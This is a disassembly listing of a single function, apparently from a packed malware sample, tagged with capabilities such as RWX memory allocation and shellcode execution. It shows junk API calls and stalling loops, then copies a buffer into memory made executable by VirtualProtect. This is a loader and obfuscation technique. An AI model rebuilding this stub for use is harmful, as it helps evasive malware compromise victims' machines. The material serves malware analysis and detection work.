Function at 0x401370
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get hostname

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x114c
call fcn.004087f0
mov eax, dword [0xc26060]
push ebx
push esi
push edi
cmp eax, 0x5b1
jne 0x40144f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegisterEventSourceW]
lea eax, [esp + 0xc]
push eax
push 0
push 0
lea ecx, [esp + 0x34]
push ecx
push 0
lea edx, [esp + 0x27]
push edx
push 0
mov dword [esp + 0x28], 0
call dword [sym.imp.KERNEL32.dll_BackupWrite]
push 0
lea eax, [esp + 0x15c]
push eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrencyFormatW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push 0
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push str.herehotawak
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov ecx, dword [esp + 0x28]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.MSIMG32.dll_AlphaBlend]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
push 0
lea edx, [esp + 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0
call fcn.00401c14
push 0
push 0
call fcn.00401ab4
add esp, 0xc
push 0
call fcn.00401eca
add eax, 0x1134b
push eax
push 0
mov dword [0xc26060], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edx, dword [0xc26060]
lea ecx, [esp + 0x3c]
push ecx
push 0x40
push edx
push eax
mov dword [0xc24fb4], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, dword [sym.imp.GDI32.dll_SetDeviceGammaRamp]
xor esi, esi
cmp esi, 0x2710
jge 0x401498
lea eax, [esp + 0x158]
push eax
push 0
call edi
inc esi
cmp esi, 0x1ff49ccc
jl 0x401484
xor esi, esi
cmp dword [0xc26060], esi
jbe 0x401502
mov edi, dword [sym.imp.KERNEL32.dll_GetVersionExW]
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
jmp 0x4014c0
mov ecx, dword [0xc26064]
mov dl, byte [ecx + esi + 0x1134b]
mov eax, dword [0xc24fb4]
mov byte [eax + esi], dl
cmp dword [0xc26060], 0xa8
jne 0x4014f9
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea ecx, [esp + 0x40]
push ecx
call edi
push str.ziderihagujuyedixoso
call ebx
inc esi
cmp esi, dword [0xc26060]
jb 0x4014c0
mov esi, dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationA]
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
xor eax, eax
mov dword [esp + 0xc], eax
mov edx, dword [0xc26060]
add edx, eax
cmp edx, 0xe
jne 0x4015a6
push 0
push 0
push str.jatefunivapabopecuhisizuvis
call esi
push str.nozico_sef_tuxilogotujiz
call edi
push 0
lea eax, [esp + 0x15c]
push eax
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
xor eax, eax
push eax
lea edx, [esp + 0x95c]
push edx
push eax
mov dword [esp + 0x26], eax
mov dword [esp + 0x2a], eax
mov dword [esp + 0x2e], eax
mov word [esp + 0x32], ax
xor ecx, ecx
lea eax, [esp + 0x24]
push eax
push ecx
push ecx
mov word [esp + 0x30], cx
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
lea ecx, [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push str.apevo_jaxededunuyasiz
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
mov eax, dword [esp + 0xc]
inc eax
cmp eax, 0x39621
mov dword [esp + 0xc], eax
jl 0x40151a
call fcn.00401240
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
call edi
cmp esi, 0x26
jne 0x4015cf
call fcn.00401350
inc esi
cmp esi, 0x6753f
jl 0x4015c3
mov esi, dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
mov edi, dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
mov dword [esp + 0xc], 0x7b
cmp dword [0xc26060], 0x86
jne 0x401655
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
xor eax, eax
xor edx, edx
lea ecx, [esp + 0x18]
mov word [esp + 0x2c], dx
push ecx
lea edx, [esp + 0x30]
mov dword [esp + 0x32], eax
mov dword [esp + 0x36], eax
mov dword [esp + 0x3a], eax
mov word [esp + 0x3e], ax
mov word [esp + 0x1c], ax
mov dword [esp + 0x1e], eax
mov dword [esp + 0x22], eax
mov dword [esp + 0x26], eax
mov word [esp + 0x2a], ax
push edx
lea eax, [esp + 0x48]
push eax
call esi
push 0
lea ecx, [esp + 0x95c]
push ecx
call edi
cmp dword [0xc26060], 0xf
jne 0x401669
push 0
push 0
lea edx, [esp + 0x1c]
push edx
call ebx
sub dword [esp + 0xc], 1
jne 0x4015f2
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret